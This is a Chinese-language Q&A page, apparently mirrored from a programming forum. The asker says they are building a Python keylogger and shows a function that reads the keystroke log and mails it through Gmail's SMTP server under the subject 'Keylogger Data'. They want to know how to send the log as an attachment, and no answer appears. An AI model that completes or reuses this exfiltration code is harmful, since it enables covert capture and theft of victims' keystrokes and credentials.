首页 > 解决方案 > 如何使用 Python 将“.txt”文件附加到电子邮件中?

问题描述

我陷入了一个问题。基本上我正在为 Python 构建一个键盘记录器,它将捕获的数据发送到某个电子邮件。截至目前,键盘记录器将数据作为我不太喜欢的电子邮件中的消息发送。我将数据保存在路径文件夹中的“Log.txt”文件中,我想将“log.txt”文件作为邮件附件发送。我检查了其他用户面临的几个类似问题,但似乎没有什么对我有用。请帮帮我!

def send_email(self):
    with open(folder, "r") as file:
        data = file.read()

    server = smtplib.SMTP("smtp.gmail.com", 587)  # define server

    server.starttls()
    server.ehlo()

    server.login(sender_address, sender_password)  # login

    email_message = EmailMessage()
    email_message["From"] = sender_address
    email_message["To"] = receiver_address
    email_message['Date'] = formatdate(localtime=True)
    email_message["Subject"] = "Keylogger Data"

    email_message.set_content(data)

    server.send_message(email_message)
    server.close()

    self.start_time = time.time()

标签: pythonsendmailsmtplibkeylogger

解决方案


推荐阅读